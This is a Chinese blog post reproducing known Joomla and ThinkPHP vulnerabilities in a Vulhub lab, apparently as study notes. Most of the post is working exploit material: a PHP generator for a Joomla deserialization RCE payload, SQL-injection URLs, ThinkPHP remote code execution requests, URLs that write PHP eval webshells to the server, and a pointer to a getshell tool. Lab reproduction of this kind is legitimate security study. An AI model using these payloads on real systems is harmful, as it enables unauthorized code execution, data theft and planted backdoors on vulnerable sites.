Skip to content
Menu
0xdawn's blog
  • 首页
  • 关于我
  • 联系方式
0xdawn's blog
2020年10月3日

Vulhub漏洞复现(一)

大纲

Joomla

CVE-2015-8562

Joomla反序列化任意代码执行

影响范围

  • Joomla 1.5.x, 2.x, and 3.x before 3.4.6
  • PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45
CVE-2017-8917

Joomla前台SQL注入

影响范围

  • Joomla 3.7.0

ThinkPHP

ThinkPHP 2.x

ThinkPHP 2.x任意代码执行

影响范围

  • ThinkPHP 2.x
  • ThinkPHP 3.0 Lite模式
  • PHP 5.2-5.6
ThinkPHP 5.x

ThinkPHP 5.0.23远程代码执行

影响范围

  • ThinkPHP < 5.0.23

ThinkPHP 5.x远程代码执行

影响范围

  • ThinkPHP 5.0(5.0.22)
  • ThinkPHP 5.1(5.1.29)

ThinkPHP 5 SQL注入&&敏感信息泄露

影响范围

  • ThinkPHP 5.x
  • 开启debug模式

CVE-2015-8562

Joomla反序列化RCE

影响范围
  • Joomla 1.5.x, 2.x, and 3.x before 3.4.6
  • PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45
漏洞利用
  1. 不带cookie及UA头,访问目标主页,记录下服务端返回的cookie

    Set-Cookie: b2c5fdae5bfd016ca1a0c11ab4e9ff8c=d19770b612de0d62083761ebe478b608; path=/; HttpOnly
  2. POC生成,在PHP 5.6.29下运行

    https://sandbox.onlinephpfunctions.com/code/17e7080841ccce12f6c6e0bb1de01b9e390510bd

    feed_url = "phpinfo();JFactory::getConfig();exit;";
           $this->javascript = 9999;
           $this->cache_name_function = "assert";
           $this->sanitize = new JDatabaseDriverMysql();
           $this->cache = true;
       }
    }
    
    class JDatabaseDriverMysqli {
       protected $a;
       protected $disconnectHandlers;
       protected $connection;
       function __construct()
       {
           $this->a = new JSimplepieFactory();
           $x = new SimplePie();
           $this->connection = 1;
           $this->disconnectHandlers = [
               [$x, "init"],
           ];
       }
    }
    
    $a = new JDatabaseDriverMysqli();
    $poc = serialize($a); 
    
    $poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc);
    
    echo "123}__test|{$poc}\xF0\x9D\x8C\x86";
    
    //123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}𝌆
    
    ?>

  3. 将生成好的POC作为UA头,带上第一步获取的cookie发包

    第一次发包,脏数据进入数据库;再次发包,代码被执行

CVE-2017-8917

Joomla前台SQL注入

影响范围
  • Joomla 3.7.0
漏洞利用

POC

index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

ThinkPHP 2.x

ThinkPHP 2.x RCE

影响范围
  • ThinkPHP 2.x
  • ThinkPHP 3.0 Lite模式
  • PHP 5.2-5.6
漏洞利用

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

POC

index.php?s=/index/index/name/$%7B@phpinfo()%7D

index.php?s=/index/index/name/${@print(eval($_POST[123]))}

ThinkPHP 5.x

ThinkPHP 5.0.23 RCE

影响范围
  • ThinkPHP < 5.0.23
漏洞利用

其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

POC

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.123.126:10081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=dba0044cd85d8a8640b49a2dcaba4cea
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

成功执行id命令

ThinkPHP 5.0.22/5.1.29 RCE

https://www.lsablog.com/networksec/penetration/thinkphp5-rce-analysis

影响范围
  • ThinkPHP 5.0(5.0.22)
  • ThinkPHP 5.1(5.1.29)
漏洞利用

其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

POC

index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

5.0.x写shell

index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[cmd]);?>

5.1.x写shell

index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php @eval($_POST[cmd]);?>’

EXP

tp5-getshell

git clone https://github.com/theLSA/tp5-getshell.git
cd tp5-getshell/
pip install -r requirements.txt
python tp5-getshell.py -u http://192.168.123.126:10081/

ThinkPHP 5.x SQL注入

影响范围
  • ThinkPHP 5.x
  • 开启debug模式
漏洞利用

https://xz.aliyun.com/t/125

index.php?ids[]=1&ids[]=2

可以看到用户名被显示了出来

Payload

index.php?ids[0,updatexml(0,concat(0x7e,user(),0x7e),0)]=1

数据库敏感信息泄露

  有时候,禁锢我们的,不是环境设下的牢笼,不是他人施与的压力,而是我们自己把自己局限在狭隘的空间里,在无端中迷失了自我.

云烟成雨

https://www.0xdawn.cn/wp-content/uploads/2019/11/房东的猫-云烟成雨.mp3

文章检索

分类

  • CTF
  • 代码审计
  • 学习笔记
  • 渗透测试
  • 漏洞演练

近期文章

  • 2021长城杯 Write up by D0g3
  • 2021网刃杯 write up
  • 2021羊城杯 Web Write up
  • 第五届蓝帽杯总决赛 write up
  • 第五届强网杯Web部分 write up

归档

联系我们

地址
成都信息工程大学

Email
yan@0xdawn.cn

QQ
1115230222

©2022 0xdawn's blog | Powered by WordPress and Superb Themes!